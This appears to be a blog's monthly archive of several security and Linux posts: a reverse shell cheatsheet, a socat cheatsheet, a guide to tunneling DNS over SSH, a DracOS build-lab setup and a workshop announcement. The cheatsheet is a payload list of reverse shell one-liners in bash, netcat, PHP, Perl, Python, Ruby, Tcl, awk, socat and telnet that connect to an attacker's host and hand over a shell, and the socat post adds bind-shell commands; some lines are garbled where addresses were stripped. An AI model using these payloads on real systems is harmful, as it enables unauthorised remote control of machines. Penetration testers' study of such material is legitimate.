Monthly Archives: December 2016

Reverse Shell Cheatsheet

During penetration testing, we might be lucky enough to exploit a command execution vulnerability. Soon, we want and interactive shell to penetrate deeper. Some approach involving “login” mechanism, such as add new account / SSH key / .rhosts file. However if these approach is not viable then hop would be shell, either reverse shell or binding shell to a TCP port. As stated in title, we will discussing the former.

Below we curate reverse shells that use various programming language or tools on target machine.

Listening Home

Most network firewall egress filters allow

  • http (tcp port 80)
  • https (tcp port 443)
  • dns (tcp/udp port 53)
  • smtp (tcp port 53)
  • ping (icmp requests and echo replies)

While it’s not always be true, it can be our initial attempt to set listening socket to one of those ports. Remember that reverse shell need a “home” or something in our machine that listen and communicate with reverse shell.

The simplest trick in our disposal is using netcat to listen on socket. Most likely netcat is installed by default.

nc -vlp 13510

Or if we are using socat, we can use this.

socat READLINE,history:/tmp/history.cmds TCP4-LISTEN:13510

or we can create a redirectory on public faced machine which will give the traffic to our system.

Reverse Shell


exec 5<>/dev/tcp/
cat <&5 | while read line; do $line 2>&5 >&5; done

bash -i >& /dev/tcp/ 0>&1

exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/; sh <&196 >&196 2>&196


set s [socket <IP> <PORT>];
while {42} {
  puts -nonewline $s "shell>";
  flush $s;
  gets $s c;
  set e "exec $c";
  if {![catch {set r [eval $e]} err]} {
    puts $s $r;
  flush $s;
close $s;

echo 'set s [socket <IP> <PORT>];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh


php -r '$sock=fsockopen("",13510);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("",13510);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("",13510);`/bin/sh -i <&3 >&3 2>&3`;'

php -r '$sock=fsockopen("",13510);system("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("",13510);popen("/bin/sh -i <&3 >&3 2>&3");'


nc -e /bin/sh 13510

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 13510 >/tmp/f

/bin/sh | nc 13510


socat TCP: EXEC:/bin/bash

socat OPENSSL: EXEC:/bin/bash,pty


rm -f /tmp/p; mknod /tmp/p p && telnet 0/tmp/p
telnet 80 | /bin/bash | telnet 0 443


perl -e 'use Socket;$i="";$p=13510;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

for Windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


ruby -rsocket -e'"",13510).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;"","13510");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print}end'

ruby -rsocket -e ""","13510");while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print}end"


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'


#!/usr/bin/awk -f
   s = "/inet/tcp/0/"
   while(42) {
         printf "shell>" |& s
         s |& getline c
            while ((c |& getline) > 0)
               print $0 |& s
      } while(c != "exit")

awk 'BEGIN {s = "/inet/tcp/0/"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null


one of the simplest reverse shell.

xterm -display :13510

to catch incoming forms of reverse shell in xterm session

xterm -display
Xnest :1


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Socat Cheatsheet

Socat, a powerful tools you should have in you arsenal. Some say socat is another swiss army knife beside netcat. It is a command line based utility that establishes two bidirectional byte streams and transfer data between them. Socat has been long used for creating a simple forwarder. But, did you know that we can do more than that?

Basic Knowledge

Basically socat is a tool to manipulate sockets. To give you a hint, socat comes from socket and cat.

The idea of sockets is too restrictive. Speaking socat we should speaks in the level of “data channel”. It can be combinations of:

  • a file
  • a pipe
  • a device (ex: a serial line)
  • a socket (IPv4, IPv6, raw, TCP, UDP, SSL)
  • a program or script

Now socat has a different syntax on what you are used to with netcat or other standard unix tools. Here is the simple syntax:

socat [options] <channel> <channel>

both channel should be provided. The channel should be like this:


All you need to remember is: socat is bidirectional. It is like a pipe so there is no strict definition of which one should be source or destination. Both address can have src/dst role.

Tips and Trick

Now, come to our actual topic. For the sake of simplicity, we will pretend there are two distinct hosts namely HOST-L and HOST-R.These hosts can be anywhere with any IP. In most case HOST-L is our local machine while HOST-R is remote machine. On most case we will use port 13510 and 18210 as example.

Let’s see our catalog:

  • Basic network connection
    • Connect to remote machine
    • Listening to a socket
    • UDP traffic
    • Execute program when connection come
    • SSLify connection
    • Make a tunnel
    • Make a tunnel via proxy
  • File transfer
    • Display content of file to standard output
    • Create and write to a file
    • Transfer file
  • UDP tunneling through SSH connection
  • Local serial line
  • Get HTTP content without browser

socat TCP-LISTEN:13510 -

socat - TCP-LISTEN:13510

socat - UDP-LISTEN:13510
socat - UDP:HOST-R:13510

For example, shell.

socat TCP-LISTEN:13510 EXEC:"/bin/bash"

for multiple connection

socat -L TCP-LISTEN:13510 EXEC:/bin/bash

we also have SYSTEM address, which uses the system() call rather than a call to exec(). We can do something like this (something netcat can’t do).

socat TCP-LISTEN:2323,reuseaddr SYSTEM:'echo $HOME; ls -la'

In short, strip incoming SSL to plain traffic.

socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=cert.pem,cafile=client.crt TCP4-CONNECT:HOST-L:80

– Make a tunnel

socat TCP4-LISTEN:13510,reuseaddr,fork

– Make a tunnel via proxy

socat TCP4-LISTEN:13510,reuseaddr,fork,proxyport=3128,proxyauth=user:pass

address can be a file. Thus directive FILE: is used to read content of file.txt and then pipe it.

socat -u STDIN OPEN:file.txt,creat,trunc

– Transfer file

and as you might expect, pipe a file to remote host.

HOST-L# socat FILE:file.txt TCP:HOST-R:13510
HOST-R# socat TCP-LISTEN:13510 OPEN:file.txt,creat,trunc

– UDP tunneling through SSH connection

see this article.

LOCAL# ssh -L 13510:LOCAL:13510 SERVER
SERVER# socat tcp4-listen:13510,reuseaddr,fork UDP:NAMESERVER:53 
LOCAL# socat -T15 udp4-recvfrom:53,reuseaddr,fork tcp:LOCAL:13510

– Local serial line

Use as a local serial line. For example, to configure a network device, modem, or embedded device without a terminal emulator.

socat \
READLINE,history:/tmp/serial.cmds \

READLINE data channel use GNU readline to allow editing and reusing input lines like a classic shell.

– Grab some HTTP content without a browser

# cat <<EOF | socat -
GET / HTTP/1.1


GET to EOF is something we need to type in.


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UDP Tunneling Through SSH Connection

Imagine you are in a situation where you are using ISP which do censorship based on DNS. We might use free DNS service but quite often ISP will hijack the traffic and redirect them to their DNS. Another approach is using tool which transfer DNS traffic on top of encrypted channel, for example dnscrypt. However in this article we won’t use this approach. I will give insight about another approach, doing it by ourselves.

We will have three entities involved:


SERVER is an endpoint of SSH tunnel. NAMESERVER is DNS server, which we will contact. It can be a internal DNS server on SERVER’s network, or it can be SERVER itself. LOCAL is our local machine.

The idea is simple:

  • creating a SSH tunnel between LOCAL and SERVER
  • setup TCP to UDP forward on SERVER
  • setup UDP to TCP forward on LOCAL

Create SSH Tunnel

On LOCAL, connect to SERVER by SSH. We need additional -L option so that SSH will do TCP port forwarding.

LOCAL# ssh -L 13510:LOCAL:13511 SERVER

This will allow TCP connection to port 13510 of local machine to be forwarded to the port number 13511 on SERVER. Of course, replace LOCAL and SERVER as we need.

Setup TCP to UDP Forward on SERVER

On the server we open listener on port 13511 which will forward data to UDP port 53 of specified IP, or NAMESERVER to be precise. There are two approach, whether you want to use netcat or socat.


We need to create a fifo. The fifo is necessary to have two-way communication between two channels. A pipe won’t do because it only transfer data from STDOUT of left process to STDIN of right process.

SERVER# mkfifo /tmp/tunsshfifo
SERVER# nc -lp 13511 < /tmp/tunsshfifo | nc -u NAMESERVER 53 > /tmp/tunsshfifo

This will have bidirectional communication, from SERVER:13511 to NAMESERVER:53 and vice-versa


Socat is bidirectional by nature, so we don’t need to create a fifo.

SERVER# socat TCP4-LISTEN:13511,reuseaddr,fork UDP:NAMESERVER:53

see socat cheatsheet for more info on socat capability.

Setup UDP to TCP Forward on LOCAL

On LOCAL we need a privilege access to bind on port 53. Other than that, it’s only bit opposite of what we have done on SERVER.


LOCAL# mkfifo /tmp/tunsshfifo
LOCAL# sudo nc -lup 53 < /tmp/tunsshfifo | nc localhost 13510 > /tmp/tunsshfifo

This will have bidirectional communication, from LOCAL:53 to LOCAL:13510 and vice-versa


Again, socat is bidirectional by nature.

LOCAL# socat -T15 UDP4-RECVFROM:53,reuseaddr,fork TCP:localhost:13510

see socat cheatsheet for more info on socat capability.


As mentioned, our traffic now flow like this LOCAL:53 – LOCAL:13510 – SSH TUNNEL – SERVER:13511 – NAMESERVER:53 for request. To test DNS service on local machine, use host



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DracOS Environment – My Build Lab

My role on team require me to build specific environment to do development. As you know DracOS is a LFS-based linux distribution, means we build it from ground up. We are not remastering or modify another distro. A pure linux tailored for our need.

My development lab is simple. All the build is done on virtual machine, I choose VirtualBox. Two virtual machines are needed. The first VM is Builder while the second one is Target. The Target is the final product of DracOS which can be boot on (theoretically) any environment. So Target will be a VM for running tests. On development process, Target would be mounted to Builder. Builder will do all the works. Basically Builder will build two things: tools and Target.

In this article I will describe the setting I use to create build environment (version 1). This version has not integrated with much stuffs but works for first phase.

Virtual Machines Specification


  • Arch Linux template
  • Processors: 4 CPUs
  • RAM 4096 MB (4GB)
  • HDD
    • /dev/sda (8GB) Builder.vdi
      • /dev/sda1 – / (4GB) ext4
      • /dev/sda2 – (1GB) swap
      • /dev/sda3 – /tools (3GB) ext4
    • /dev/sdb  (mounted Target.vdi)


  • Arch Linux template
  • Processors 1 CPUs
  • RAM 1024 MB (1GB)
  • HDD
    • /dev/sda (20GB) Target.vdi
      • /dev/sda1 – / (10GB) ext4 for 64bit branch
      • /dev/sda2 – / (10GB) ext4 for 32bit branch

As you see, Target will be mounted to Builder.

I choose Arch Linux because I need lightweight distro to do the job.

At this point, my lab is deviate a little from LFS build environment. The LFS guide recommended to make a partition for LFS with tools as a part of LFS partition. In my lab, I separate both tools and sources in Builder machine and bind them to Target if necessary. This way I won’t need to remove things.

Setup Target

The setup we do is to create proper partition. I know we could do this on Builder, but I decide to separate the two things so we can clearly see each roles and functions.

Boot ArchLinux ISO. Once we are prompted, run fdisk to partition.

target# fdisk /dev/sda

My final partition layout would be like this

target# fdisk -l /dev/sda
Disk /dev/sda: 20GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xdcef6fd

Device    Boot     Start       End  Sectors Size Id Type
/dev/sda1           2048  20973567 20971520  10G 83 Linux
/dev/sda2       20973568  41943039 20969472  10G 83 Linux

Then we format each partition.

target# mkfs.ext4 /dev/sda1
target# mkfs.ext4 /dev/sda2


target# shutdown -h -P now

Setup Builder

I will divide the process into three sections: prepare, install, builder. Each phase has it’s own purpose and identified by the name before the prompt.

I don’t create user other than lfs. This user is comply with LFS guide and would be the only user in system (other than root).

Actually, this is not much different to typical Arch Linux installation.

Prepare Phase

Prepare environment before doing installation.

US keymap is OK for me so nothing to change.

Make sure network is up and we can ping to internet.

prepare# ping

Update the system clock. Synchronize with NTP to ensure system clock is accurate.

prepare# timedatectl set-ntp true
prepare# timedatectl status

Part the dist, make following partitions

target# fdisk -l /dev/sda
Disk /dev/sda: 8GiB, 8589934592 bytes, 16777216 sectors
Units: sectors of 1 * 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x99be88fc

Device    Boot     Start       End  Sectors Size Id Type
/dev/sda1           2048   8390655  8388608  4G 83 Linux
/dev/sda2        8390656  10487807  2097152  1G 82 Linux swap / Solaris
/dev/sda3       10487808  16777215  6289400  3G 83 Linux

and format them

prepare# mkfs.ext4 /dev/sda1
prepare# mkfs.ext4 /dev/sda3
prepare# mkswap /dev/sda2
prepare# swapon /dev/sda2

mount the file systems.

prepare# mount /dev/sda1 /mnt
prepare# mkdir /mnt/tools
prepare# mkdir /mnt/sources
prepare# mount /dev/sda3 /mnt/tools

Install Phase

Select mirrors. All packages downloaded from mirrors so we need to make sure selecting correcting server. Nearby servers are preferred. Open /etc/pacman.d/mirrorlist and start rearranging.

Strap minimum installation

install# pacstrap /mnt base

generate fstab with current condition

install# genfstab -U /mnt >> /mnt/etc/fstab

then chroot

install# arch-chroot /mnt

Set the timezone. Here we also generate /etc/adjtime.

install(chroot)# ln -s /usr/share/zoneinfo/Asia/Jakarta /etc/localtime

Uncomment en-US.UTF-8 UTF-8 and other needed localization in /etc/locale.gen. Then generate them with.

install(chroot)# locale-gen

Change hostname and hosts.

install(chroot)# echo "Builder" > /etc/hostname
install(chroot)# echo "    builder.localdomain   builder" >> /etc/hosts

creating new initramfs is usually not required. However I jsut want to make sure.

install(chroot)# mkinitcpio -p linux

Change root password.

install(chroot)# passwd

Create new username lfs for development only.

groupadd lfs
useradd -m -g lfs -k /dev/null -s /bin/bash lfs
passwd lfs

Update repository

install(chroot)# grub -Syy
install(chroot)# grub -S sudo

Install bootloader. I choose GRUB. (see this)

install(chroot)# pacman -S grub-pc
install(chroot)# grub-install --target=i386-pc /dev/sda
install(chroot)# grub-mkconfig -o /boot/grub/grub/cfg

Enable networking services.

install(chroot)# systemctl enable dhcpcd
install(chroot)# systemctl start dhcpcd

Reboot, make sure our base system is installed and ready to use.

install(chroot)# reboot

Builder Phase

Install linux header. This is important for building DKMS modules. We also need base-devel for building process so it’s a crucial component.

builder# pacman -S net-tools pkgfile base-devel

Leveraging CLI to do all stuffs is interesting. However I need to produce script and stuffs for development process thus I install GUI.

builder# pacman -S xf86-video-vesa   # let test X window system when we don't have Virtualbox guest addition installed yet
builder# pacman -S alsa-utils
builder# pacman -S xorg-server xorg-server-utils xorg-xinit
builder# pacman -S ttf-dejavu ttf-droid ddf-inconsolata
builder# pacman -S terminus-font
builder# pacman -S xorg-twm xorg-xclock xterm
builder# pacman -S xfce xfce4-goodies

Next create virtualbox modules so we can interact with Builder from host system

builder# pacman -S virtualbox-guest-utils

builder# nano /etc/modules-load.d/virtualbox.conf

builder# systemctl enable vboxservice.service

Install and configure some tools

builder# pacman -S git
builder# pacman -S python

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DracOS Workshop – Path of Cyber Security

Thanks to Lord of Procrastination, I finally write this.

Sunday, November 27th 2016 I have delivered a presentation about “hacking”. I was so honored to be one of the speaker. We had two sessions available, one for introducing DracOS and the other for main course (hacking). As DracOS developer we gave insight about what DracOS is, the development process, and unlimited possibilities we have. But as my session is about the hacking one, I will share mine.

I highlight the theme, Path of Cyber Security, to be my focus. Many people want to “hack” so we will give some tastes of what real world hack is. It’s not your average hacking workshop in Indonesia. It’s filled with many demos and labs. Unfortunately we didn’t record it so you should satisfied with just the slide.

You can see and download the slides freely. You are free to use the slides and spread it as you like. If you have a question you can direct your question to me.

Best regards,

Satria Ady Pradana.

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